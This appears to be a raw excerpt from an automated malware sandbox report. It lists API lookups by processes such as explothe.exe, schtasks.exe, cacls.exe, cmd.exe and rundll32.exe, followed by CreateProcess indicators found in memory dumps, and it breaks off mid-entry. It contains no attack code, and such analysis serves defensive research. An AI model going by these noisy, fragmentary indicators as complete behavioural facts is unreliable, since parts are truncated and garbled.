"explothe.exe" called "GetProcAddress" with a parameter CPHashData (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPHashSessionKey (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPDestroyHash (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPSignHash (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPVerifySignature (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPGenRandom (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPGetUserKey (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPSetProvParam (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPGetProvParam (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPSetHashParam (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPGetHashParam (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPDuplicateKey (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPDuplicateHash (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter DhcpRequestParams (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter ConvertInterfaceGuidToLuid (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter I_RpcInitFwImports (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter I_RpcInitImports (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter I_RpcVerifierCorruptionExpected (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter I_RpcExtInitializeExtensionPoint (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CoMarshalInterface (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter GetIpForwardTable2 (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter GetIpNetEntry2 (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter FreeMibTable (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CoInternetCreateSecurityManager (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CoInternetCreateZoneManager (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter GetAddrInfoExW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter DnsFree (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter NamespaceCallout (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter FreeAddrInfoExW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter GetModuleHandleExW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter getaddrinfo (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter getnameinfo (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter WSASocketA (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CoSetProxyBlanket (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter ObjectStublessClient10 (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00005604) "schtasks.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00005548) "schtasks.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00005548) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter CopyFileExW (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter SetConsoleInputExeNameW (UID: 00000000-00005616) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005644) "cmd.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00005644) "cmd.exe" called "GetProcAddress" with a parameter SetConsoleInputExeNameW (UID: 00000000-00005644) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005644) "cacls.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005764) "cacls.exe" called "GetProcAddress" with a parameter LookupAccountNameLocalW (UID: 00000000-00005764) "cacls.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005764) "6XA0cz3.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005668) "6XA0cz3.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00005668) "6XA0cz3.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00005668) "6XA0cz3.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005668) "6XA0cz3.exe" called "GetProcAddress" with a parameter SHGetInstanceExplorer (UID: 00000000-00005668) "6XA0cz3.exe" called "GetProcAddress" with a parameter CoGetApartmentType (UID: 00000000-00005668) "6XA0cz3.exe" called "GetProcAddress" with a parameter CoRegisterInitializeSpy (UID: 00000000-00005668) "6XA0cz3.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00005668) "6XA0cz3.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00005668) "6XA0cz3.exe" called "GetProcAddress" with a parameter RegEnumKeyW (UID: 00000000-00005668) "6XA0cz3.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00005668) "6XA0cz3.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00005668) "6XA0cz3.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005668) "6XA0cz3.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005668) "cacls.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005660) "cacls.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter GetCharABCWidthsI (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmWINNLSEnableIME (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmWINNLSGetEnableStatus (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmSendIMEMessageExW (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmSendIMEMessageExA (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmIMPGetIMEW (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmIMPGetIMEA (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmIMPQueryIMEW (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmIMPQueryIMEA (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmIMPSetIMEW (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmIMPSetIMEA (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmEscapeA (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmEscapeW (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringA (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringW (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmGetCompositionWindow (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmGetDefaultIMEWnd (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmIsIME (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmReleaseContext (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmRegisterClient (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmGetCompositionFontW (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmGetCompositionFontA (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmSetCompositionFontW (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmSetCompositionFontA (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmSetCompositionWindow (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmNotifyIME (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmLockIMC (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmUnlockIMC (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmLoadIME (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmSetOpenStatus (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmFreeLayout (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmActivateLayout (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmGetCandidateWindow (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmSetCandidateWindow (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmConfigureIMEW (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmGetConversionStatus (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmSetConversionStatus (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmSetStatusWindowPos (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmGetImeInfoEx (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmLockImeDpi (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmUnlockImeDpi (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmGetOpenStatus (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmSetActiveContext (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmTranslateMessage (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmLoadLayout (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmProcessKey (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmPutImeMenuItemsIntoMappedFile (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmGetProperty (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringA (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringW (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter LpkTabbedTextOut (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter LpkPSMTextOut (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter LpkDrawTextEx (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter LookupAccountNameLocalW (UID: 00000000-00005912) "cacls.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005912) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter CopyFileExW (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter SetConsoleInputExeNameW (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter SHGetInstanceExplorer (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter OleInitialize (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockShared (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsA (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter IsValidURL (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter PSCreateMemoryPropertyStore (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter PSCreateAdapterFromPropertyStore (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter IUnknown_Set (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter ResolveDelayLoadedAPI (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadStrAlloc (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadDWORD (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter FindWindowExW (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter OleUninitialize (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockShared (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter PropVariantToBSTR (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter PropVariantClear (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter InitCommonControlsEx (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter SHStrDupW (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005336) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005336) "cacls.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005964) "cacls.exe" called "GetProcAddress" with a parameter GetCharABCWidthsI (UID: 00000000-00005964) "cacls.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005964) "cacls.exe" called "GetProcAddress" with a parameter LookupAccountNameLocalW (UID: 00000000-00005964) "rundll32.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000744) "rundll32.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000744) "rundll32.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000744) "rundll32.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000744) "rundll32.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000744) "rundll32.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000744) "rundll32.exe" called "GetProcAddress" with a parameter MainW (UID: 00000000-00000744) "rundll32.exe" called "GetProcAddress" with a parameter MainA (UID: 00000000-00000744) "rundll32.exe" called "GetProcAddress" with a parameter Main (UID: 00000000-00000744) "rundll32.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00000744) "rundll32.exe" called "GetProcAddress" with a parameter DwmIsCompositionEnabled (UID: 00000000-00000744)39:Tc6f,Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API "ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; File: "00005312.000014C0.394405.00050000.wprm") Found reference to API "_COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00000744.00000000.68655.00280000.00000004.mdmp, 00000000-00000744.00000001.70576.00280000.00000004.mdmp, 00000000-00000744.00000002.72499.00280000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00000744.00000000.68655.00280000.00000004.mdmp, 00000000-00000744.00000001.70576.00280000.00000004.mdmp, 00000000-00000744.00000002.72499.00280000.00000004.mdmp") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00004892.00000000.66048.00270000.00000004.mdmp, 00000000-00004892.00000000.66048.008B0000.00000004.mdmp, 00000000-00004892.00000000.66048.01090000.00000004.mdmp, 00000000-00004892.00000001.67957.00270000.00000004.mdmp, 00000000-00004892.00000001.67957.008B0000.00000004.mdmp, 00000000-00004892.00000001.67957.01090000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00004892.00000000.66048.00270000.00000004.mdmp, 00000000-00004892.00000001.67957.00270000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00004892.00000000.66048.00270000.00000004.mdmp, 00000000-00004892.00000001.67957.00270000.00000004.mdmp") Found reference to API "AT_LAYER=ElevateCreateProcess WRPMitigJ" (Indicator: "CreateProcess"; Source: "00000000-00004892.00000000.66048.00270000.00000004.mdmp, 00000000-00004892.00000001.67957.00270000.00000004.mdmp") Found reference to API "774995842,5236,3136,,CreateProcessA,kernel32.dll,"252:02:39.956",RX=0,PX=0" (Indicator: "CreateProcess"; Source: "00000000-00004892.00000000.66048.00270000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigv" (Indicator: "CreateProcess"; Source: "00000000-00004892.00000000.66048.008B0000.00000004.mdmp") Found reference to API "61752312823,5236,3136,,CreateProcessA,kernel32.dll,"252:03:05.368",RX=0,PX=0" (Indicator: "CreateProcess"; Source: "00000000-00004892.00000001.67957.00270000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitig" (Indicator: "CreateProcess"; Source: "00000000-00004892.00000001.67957.008B0000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: 